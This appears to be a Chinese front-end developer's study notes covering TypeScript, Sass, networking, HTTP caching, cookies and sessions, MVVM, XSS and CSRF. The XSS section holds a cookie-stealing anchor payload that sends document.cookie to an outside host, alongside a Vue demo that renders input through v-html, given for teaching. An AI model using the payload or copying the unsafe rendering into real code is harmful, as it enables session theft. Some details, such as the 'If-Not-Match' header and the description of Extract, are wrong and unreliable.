杂项(typescript、网络、MVVM、css)

256 阅读6分钟

封装组件需要注意什么

功能性:组件的主要功能是否得到实现,是否符合需求,是否可以被扩展等。

可复用性:组件能否被重复利用在多个项目中,是否具有独立性,是否可以被其他组件调用等。(pnpm项目

兼容性:组件在各个浏览器、设备和操作系统上的兼容性是否良好,是否需要特殊处理等。(特殊的api旧浏览器cancelbubble

可维护性:组件的代码是否易于理解和修改,是否具有良好的结构和注释等。(有注释

性能优化:组件是否可以优化性能,例如缓存、懒加载等。(比如防抖

可扩展性:比如最开始只需要对单个 div 进行新手引导,但我考虑到多步。

安全性:组件是否存在安全漏洞,是否能够被攻击等。(比如输入框,不能输入js代码

sass

变量

使用 $变量名 来定义变量

image.png

嵌套

image.png

mixin

使用@mixin写一堆 css 样式,后面需要服用的时候使用 @include

image.png

继承

image.png

Typescript

类型

字面量类型:变量的值就是他的类型。比如 let a:1 = 1,那么 a 的值就只能为 1,不能是其他值。那它的意义何在?比如我想限制 direction 只能是上下左右四个值其中一个,那么let direction: '上' | '下' | '左' | '右' |就可以了。

anyunknown 的区别: any 赋值给任何变量都不会报错,但是 unknown 只能赋值给 unknown,一旦赋值给其他变量就会报错。

voidnever 的区别:如果函数的返回值是 void ,那么可以不返回、返回 null、返回 undefined都可以;如果函数的返回值是 never ,一般是在函数中抛出错误,立刻结束程序。

对象类型:

image.png

函数类型:

image.png

数组类型:

image.png

元组类型:固定长度的数组

image.png

枚举类型:

image.png

类型别名:

image.png

Typescript面试题

juejin.cn/post/699998…

TypeScript 中 const 和 readonly 的区别?

const 声明一个常量,常量的值不可改变。 readonly 声明类的属性,该属性不可改变。

class Circle {
    readonly PI = 3.14;
    readonly radius: number;

    constructor(radius: number) {
        this.radius = radius;
    }

    getArea(): number {
        return this.PI * this.radius * this.radius;
    }
}

const circle = new Circle(5);
console.log(circle.getArea());  // 输出: 78.5

// 以下代码会导致编译错误
circle.radius = 10;  // 错误: 无法分配到 "radius" ,因为它是只读属性。

extends用法

  1. 类似于三元表达式,如果 a 继承自 b,取冒号前的值,否则取冒号后的值。
  interface A1 {
    name: string
  }

  interface A2 {
    name: string
    age: number
  }
  // A的类型为string
  type A = A2 extends A1 ? string : number
  
  const a: A = 'this is string'
  1. interace的继承
  interface T1 {
    name: string
  }
  
  interface T2 {
    sex: number
  }
  
  // 多重继承,逗号隔开
  interface T3 extends T1,T2 {
    age: number
  }
  
  // 合法
  const t3: T3 = {
    name: 'xiaoming',
    sex: 1,
    age: 18
  }

exclude、extract的用法(刚好相反)

Exclude 后面的尖括号内有两个参数(都是联合类型),从第一个联合类型中排除第二个联合类型。

type MyType = string | number | boolean;

type ExcludedType = Exclude<MyType, boolean>;

// 输出:string | number
let value: ExcludedType;
value = "Hello";
value = 42;
// value = true; // 编译错误,无法将 boolean 类型赋值给 ExcludedType 类型

extract表示从第一个中排出第二个

type MyType = string | number | boolean;

type ExtractedType = Extract<MyType, boolean>;

// 输出:boolean
let value: ExtractedType;
value = true;
// value = "Hello"; // 编译错误,无法将 string 类型赋值给 ExtractedType 类型
// value = 42; // 编译错误,无法将 number 类型赋值给 ExtractedType 类型

keyof

将一个对象所有的 key 形成联合类型。

type Person = {
  name: string;
  age: number;
  gender: string;
};

type PersonKeys = keyof Person;

// 输出: "name" | "age" | "gender"
let key: PersonKeys;
key = "name";
key = "age";
// key = "address"; // 编译错误,"address" 不是 Person 类型的属性

pick

和 extract 非常相似。但区别在于,它是从一个对象中提取属性。

type Person = {
  name: string;
  age: number;
  gender: string;
  address: string;
};

type PersonInfo = Pick<Person, 'name' | 'age'>;

// PersonInfo 的类型为 { name: string, age: number }
let personInfo: PersonInfo = {
  name: 'Alice',
  age: 25,
};

泛形的用法

//在函数中使用

function identity<T>(arg: T): T {
  return arg;
}

let result = identity<number>(10); // 指定类型参数为 number

//在类中使用

class Box<T> {
  private value: T;

  constructor(value: T) {
    this.value = value;
  }

  getValue(): T {
    return this.value;
  }
}

let box = new Box<string>("Hello"); // 指定类型参数为 string
let value = box.getValue(); // 返回值类型为 string

//在接口中使用
interface Pair<T, U> {
  first: T;
  second: U;
}

let pair: Pair<number, string> = {
  first: 10,
  second: "Hello",
};


type 和 interface 的区别

相同点:

1.都可以定义函数和对象:


type Person = {
  name: string;
  age: number;
  greet: () => void;
};

interface Person {
  name: string;
  age: number;
  greet: () => void;
}

type AddFunction = (a: number, b: number) => number;

interface AddFunction {
  (a: number, b: number): number;
}

不同点:

type独有的:声明联合类型、元组、类型别名


// 基本类型别名
type Name = string

// 联合类型
interface Dog {
    wong();
}
interface Cat {
    miao();
}

type Pet = Dog | Cat

// 具体定义数组每个位置的类型
type PetList = [Dog, Pet]


interface 独有的:

类型声明可以合并


interface User {
  name: string
  age: number
}

interface User {
  sex: string
}

/*
User 接口为 {
  name: string
  age: number
  sex: string 
}
*/

可以 extends:

interface Shape { color: string; } 
interface Square extends Shape { sideLength: number; }

网络

1.五层协议

每一层都会包装一层东西。

1.应用层

比如http协议

2.传输层

滑动窗口?

原端口号,目的端口号(确定是哪个进程通信)。

TCP/UDP

负责三次握手、四次挥手。

3.网络层

封装ip地址。

4. 数据链路层

每个设备 mac 地址不一样。公网 ip 有限,同一个公司使用的公网ip可能是一样的,所以用 mac 标识设备

cookie和session

不同之处

www.cnblogs.com/ityouknow/p…

存储位置不同:cookie保存在浏览器(比如sessionID),session保存在服务端。

再次发送请求的时候,客户端会将cookie携带在请求头中,发给服务端。服务端通过sessionID找到session,session保存用户信息。

存储大小不同: 单个 Cookie 保存的数据不能超过 4K,Session 可存储数据远高于 Cookie。

有效期:cookie长期有效,session取决于服务器如何清理session,一般是会话结束后清理。

www.bilibili.com/video/BV1D4…

2.强缓存和协商缓存

www.jianshu.com/p/227cee9c8…

2.1 强缓存

浏览器在一段时间内直接从本地缓存中获取资源,而无需向服务器发送请求来验证资源的有效性。从以下例子可知,设置响应头是后端的事情。

  • 响应头增加cache-control字段(优先级更高
HTTP/1.1 200 OK
Content-Type: image/jpeg
Cache-Control: max-age=3600
  • 响应头增加expire字段
HTTP/1.0 200 OK
Content-Type: image/jpeg
Expires: Sat, 01 Apr 2023 12:00:00 GMT

协商缓存

当浏览器第一次向服务器发送请求时,会在响应头中返回协商缓存的头属性:ETag和Last-Modified,其中ETag返回的是一个hash值,Last-Modified返回的是GMT格式的最后修改时间。然后浏览器在第二次发送请求的时候,会在请求头中带上与ETag对应的If-Not-Match,其值就是响应头中返回的ETag的值,Last-Modified对应的If-Modified-Since。服务器在接收到这两个参数后会做比较,如果返回的是304状态码,则说明请求的资源没有修改,浏览器可以直接在缓存中取数据,否则,服务器会直接返回数据。

应用场景

www.cnblogs.com/goloving/p/…

MVC和MVVM

juejin.cn/post/684490…

image.png

老杜的解释:

image.png

XSS攻击(跨站脚本攻击)

v-html 或者 innerHTML 容易引起 XSS 攻击。比如在以下输入框中,输入

<a href="javascript:location.href='https://www.baidu.com?'+document.cookie">点我跳转</a> 然后点击这个链接,就会跳转baidu,并且携带cookie。

   <div id="app">
      <ul>
        <li v-for="m of messageList" :key="index" v-html="m"></li>
      </ul>
      <textarea cols="50" rows="10" v-model.lazy="message"></textarea>
      <button @click="save">点我添加</button>
    </div>
    <script>
      const vm = new Vue({
        el: "#app",
        data: {
          msg: "Vue的其他指令",
          name: "jack",
          message: "33",
          messageList: [],
        },
        methods: {
          save() {
            this.messageList.push(this.message);
          },
        },
      });

CSRF(跨站请求伪造)

image.png

www.jianshu.com/p/e825e67fc…